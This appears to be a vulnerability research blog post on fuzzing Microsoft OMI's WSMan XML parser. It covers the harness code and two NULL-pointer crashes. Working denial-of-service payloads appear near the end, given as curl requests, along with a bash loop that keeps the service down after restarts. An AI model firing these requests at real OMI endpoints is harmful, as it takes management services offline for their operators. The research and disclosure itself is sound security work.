This article provides a brief overview of how Microsoft Open Management Infrastructure (OMI) works, as well as two vulnerabilities that the Quarkslab Cloud team identified through fuzzing techniques.
You may already know about Microsoft Open Management Infrastructure (OMI) because of the previously disclosed vulnerabilities, such as OMIGOD, which allowed remote code execution and privilege escalation to the root user just by omitting the authentication header in the HTTP request.
OMI is widely used by Microsoft Azure under the hood, even though they are currently trying to reduce its use. For example, Azure Logs Analytics, which uses OMI, is slowly being replaced by Azure Monitor, which doesn't seem to use it.
Microsoft Open Management Infrastructure is an implementation of the DMTF Common Information Model (CIM) and Web-Based Enterprise Management (WBEM) standards that aims to be available for almost all Unix- and Linux-based operating systems. In some ways, we could say it brings Windows Management Infrastructure (WMI) to the Unix and Linux world. OMI doesn't implement all the techniques described by the WBEM but only CIM and WS-Management (WSMan).
In a few words, these standards define operations for management of computer resources such as CPUs, memory, and processes using pluggable modules which represent CIM Objects, called providers. Instances of the objects can be created, called, their properties modified, their methods can be invoked, etc.
There are two different ways we can communicate with OMI:
The local binary protocol is obscure and not documented whereas WSMan is well-known and also uses common underlying technologies such as SOAP over HTTP. SOAP is entirely built on XML, which is always a great target for vulnerability research, especially when the parser is custom-made and developed in the C language.
OMI executes two binaries as daemons, omiengine
, and omiserver
. The former
runs as the omi
unprivileged user while the latter runs as root
. Their
relation can be compared to that of front-end and back-end servers.
omiengine
receives both internal and external requests, from HTTP or its Unix
socket, parses them, unpacks if necessary and forwards them to the server if the
request seems legit.
The front-end omiengine
creates two sockets:
The omiserver
creates a single unix socket which is only accessible by the
user omi
, that being omiengine
.
We chose fuzzing as one of our approaches to search for vulnerabilities in OMI. The most difficult part of this technique is generally to create a harness that mimics a regular context of execution as much as possible. To do that, we need to find the relevant source code, and understand its logic and data flows as a prerequisite. We were lucky here because the setup is pretty straightforward once you understand the custom build logic, and doesn't require complex prerequisites as shown below.
The function that processes the actual WSMan payload is _HttpProcessRequest
defined in Unix/wsman/wsman.c line 4370.
An XML
data structure is created and after a few verifications, initialized
using &selfCD->wsman->xml
, one of the arguments of the function. We'll see
why this line is very important a bit later.
static void _HttpProcessRequest(
_In_ WSMAN_ConnectionData* selfCD,
_In_ const HttpHeaders* headers,
_In_ Page* page);
XML * xml = (XML *) PAL_Calloc(1, sizeof (XML));
STRAND_ASSERTONSTRAND(&selfCD->strand.base);
if (!xml)
{
trace_OutOfMemory();
_CD_SendFailedResponse(selfCD);
if( NULL != page )
{
PAL_Free(page);
}
return;
}
memcpy(xml, &selfCD->wsman->xml, sizeof(XML));
After checking the HTTP headers and ensuring that the protocol that is used is
indeed SOAP with XML, the XML payload is attached to the XML
structure
using the XML_SetText
function.
The two main functions that parse the XML contents are then consecutively called:
WS_ParseSoapEnvelope(XML* xml)
with the xml content as argument.WS_ParseWSHeader(XML* xml, WSMAN_WSHeader* wsheader, UserAgent userAgent)
with the xml content, the WSMan headers and the user agent.XML_SetText(xml, (ZChar*)(page + 1));
/* Parse SOAP Envelope */
if (WS_ParseSoapEnvelope(xml) != 0 ||
xml->status)
{
trace_Wsman_FailedParseSOAPEnvelope();
_CD_SendFaultResponse(selfCD, NULL, WSBUF_FAULT_INTERNAL_ERROR, xml->message);
goto Done;
}
/* Parse WS header */
if (WS_ParseWSHeader(xml, &selfCD->wsheader, selfCD->userAgent) != 0 ||
xml->status)
{
trace_Wsman_FailedParseWSHeader();
_CD_SendFaultResponse(selfCD, NULL, WSBUF_FAULT_INTERNAL_ERROR, xml->message);
goto Done;
}
At the beginning, the code coverage of the fuzzing campaign was poor. After further investigation, we identified the following line and realized its importance.
memcpy(xml, &selfCD->wsman->xml, sizeof(XML));
Remember it? This is where the XML
structure is
initialized at the beginning of the _HttpProcessRequest
function.
&selfCD->wsman->xml
actually refers to a XML
structure defined during the
initialization of the WSMan server, in the WSMAN_New_Listener
function
defined line 4584 of Unix/wsman/wsman.c
.
We actually need to register the XML namespaces, otherwise our XML payload will
never be entirely parsed because it will search for them first.
We can see it at the end of the function:
XML_Init(&self->xml);
XML_RegisterNameSpace(&self->xml, 's',
ZT("http://www.w3.org/2003/05/soap-envelope"));
XML_RegisterNameSpace(&self->xml, 'a',
ZT("http://schemas.xmlsoap.org/ws/2004/08/addressing"));
/* [...] */
XML_RegisterNameSpace(&self->xml, 'x',
ZT("http://www.w3.org/2001/XMLSchema-instance"));
XML_RegisterNameSpace(&self->xml, MI_T('e'),
ZT("http://schemas.xmlsoap.org/ws/2004/08/eventing"));
#ifndef DISABLE_SHELL
XML_RegisterNameSpace(&self->xml, MI_T('h'),
ZT("http://schemas.microsoft.com/wbem/wsman/1/windows/shell"));
#endif
We basically discovered the requirements to pass the first checks to fuzz our target.
Now that we have gathered all the prerequisites, we can start developing the harness. Our parsing function is composed of the registration of the namespaces, and the two functions we identified earlier:
int parse_xml(const char *data)
{
XML xml;
XML_Init(&xml);
XML_RegisterNameSpace(&xml, 's',
ZT("http://www.w3.org/2003/05/soap-envelope"));
XML_RegisterNameSpace(&xml, 'a',
ZT("http://schemas.xmlsoap.org/ws/2004/08/addressing"));
XML_RegisterNameSpace(&xml, 'w',
ZT("http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"));
XML_RegisterNameSpace(&xml, 'n',
ZT("http://schemas.xmlsoap.org/ws/2004/09/enumeration"));
XML_RegisterNameSpace(&xml, 'b',
ZT("http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd"));
XML_RegisterNameSpace(&xml, 'p',
ZT("http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"));
XML_RegisterNameSpace(&xml, 'i',
ZT("http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"));
XML_RegisterNameSpace(&xml, 'x',
ZT("http://www.w3.org/2001/XMLSchema-instance"));
XML_RegisterNameSpace(&xml, 'e',
ZT("http://schemas.xmlsoap.org/ws/2004/08/eventing"));
XML_RegisterNameSpace(&xml, MI_T('h'),
ZT("http://schemas.microsoft.com/wbem/wsman/1/windows/shell"));
XML_SetText(&xml, &data[0]);
if (WS_ParseSoapEnvelope(&xml) != 0)
{
return 1;
}
WSMAN_WSHeader wsheader;
UserAgent userAgent = USERAGENT_WINRM;
if (WS_ParseWSHeader(&xml, &wsheader, userAgent) != 0)
{
return 2;
}
return 0;
}
Our choice was the HonggFuzz fuzzer. Our target seems to be eligible for persistent mode, so we could use it. Persistent mode avoids repeated clones/execs and exit of the fuzzed binary. Instead, it tests new input data within the same process which largely increases the fuzzing speed (10x to 100x). There are two different ways to use it within HonggFuzz as per their documentation:
LLVMFuzzerTestOneInput
function, which describes what to do
for one test case, similarly to what you would do with libFuzzer.HF_ITER
symbol to fetch new input and length.The LLVMFuzzerTestOneInput
solution was more intuitive to us, let's see it
in practice:
int LLVMFuzzerTestOneInput(int* data, size_t len)
{
// add a null byte at the end of the payload
char* mydata = malloc(len+1);
memcpy(mydata, data, len);
mydata[len] = '\0';
// call the parser
parse_xml(mydata);
free(mydata);
return 0;
}
The fuzzing campaign allowed to quickly find two crashes for different reasons
that could be exploited as an authenticated user. Both result in the crash and
the shutting down of the OMI processes (i.e. omiengine
and omiserver
). When
omiengine
unexpectedly disappears, omiserver
quits. Thus, every local
user can stop OMI with specific XML payloads. Note that if the service is
managed using systemd or equivalent, the omid.service
will be automatically
restarted after the crash. However, it is possible to script this action, or
create a cron job to take the server down indefinitely.
_ParseEndTag
The issue is located in the _ParseEndTag
function and happens because of the
bad parsing of a malformed XML. This function will call _FindNamespace
that
will return NULL
if there is an existing namespace in the closing tag which
was not identified as valid and previously registered. Coming back to
_ParseEndTag
, line 1130 of Unix/xml/xml.c
,
a condition statement will dereference the NULL
pointer returned by
_FindNamespace
before performing a check. This causes a crash.
Here is the problematic piece of code:
const XML_NameSpace *ns;
/* [...] */
ns = _FindNamespace(self, prefix);
if (ns)
{
/* [...] */
}
/* Match opening name */
{
/* [...] */
{
XML_Name* xn = &self->stack[self->stackSize];
if (XML_strcmp(xn->data, name) != 0 ||
xn->namespaceId != ns->id || // crash when dereferencing ns->id if ns is NULL
(ns->id == 0 && XML_strcmp(xn->namespaceUri, ns->uri) != 0))
{
XML_Raise(self, XML_ERROR_ELEMENT_END_ELEMENT_TAG_NOT_MATCH_START_TAG,
tcs(self->stack[self->stackSize].data), tcs(name));
return;
}
}
}
A NULL check is performed just after _FindNamespace
has returned but when the
execution flow arrives at the conditional branch XML_strcmp(xn->data, name)
!= 0 || xn->namespaceId != ns->id
, the pointer ns
can point to NULL
and
thus, if the XML_strcmp
is successful (because in our example, next section,
the "Quarkslab" tag matches), this second condition is executed which produces
the crash.
Presented below is the minimal XML payload which triggers the issue, please note that the "Quarkslab" tag and "X" namespace are arbitrary and can be changed to anything (except to "s" for the namespace, providing the intended input):
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><s:Quarkslab></X:Quarkslab>
Here is an example of the full request with curl
which will take the service
down (if you have a user username
with the password password
on the
machine):
curl -v <url>:5985/wsman/ -H "Content-Type: application/soap+xml;charset=UTF-8" -H "Authorization: Basic `echo -n username:password | base64`" --data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><s:Quarkslab></X:Quarkslab>'
_ParseCharData
The issue lies in the Unix/xml/xml.c
function _ParseCharData
from line 1341 to line 1365:
end = _ReduceCharData(self, &p);
if (self->status)
{
/* Propagate error */
return 0;
}
/* Process character data */
if (*p != '<')
{
XML_Raise(self, XML_ERROR_CHARDATA_EXPECTED_ELEMENT_END_TAG);
return 0;
}
/* Set next state */
self->ptr = p + 1;
self->state = STATE_TAG;
/* Return character data element if non-empty */
if (end == start)
return 0;
/* Prepare element */
*end = '\0';
In some cases, _ReduceCharData
can return a NULL
pointer explicitly (in our
situation it is line 450):
/* Document cannot end with character data */
if (*p == '\0')
return NULL;
Thus, the last line on the snippet of _ParseCharData
above, line 1365 in
Unix/xml/xml.c
just crashes on a *NULL = '\0'
.
Presented below is the minimal XML payload which triggers the issue:
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><
The example above in a full request with curl
which takes the service down
could be (if you have a user username
with the password password
on the
machine):
curl -v localhost:5985/wsman/ -H "Content-Type: application/soap+xml;charset=UTF-8" -H "Authorization: Basic `echo -n username:password | base64`" --data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><'
If systemd
or equivalent restarts the service indefinitely, you can make the
server unavailable with a simple bash one-liner similar to this:
while true; do curl -v localhost:5985/wsman/ -H "Content-Type: application/soap+xml;charset=UTF-8" -H "Authorization: Basic `echo -n username:password | base64`" --data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" ><s:Header><'; sleep 6; done
As demonstrated in this blog post, those two vulnerabilities were not so difficult to find using basic fuzzing techniques. Microsoft's goal of bringing some kind of unified way to administrate different operating systems using an open source project such as OMI is noble. However, there seems to be a big contrast between its widespread use on Microsoft Azure and the little security scrutiny that the project has received. In our opinion, the maturity of the project's source code would certainly benefit from more visibility and scrutiny.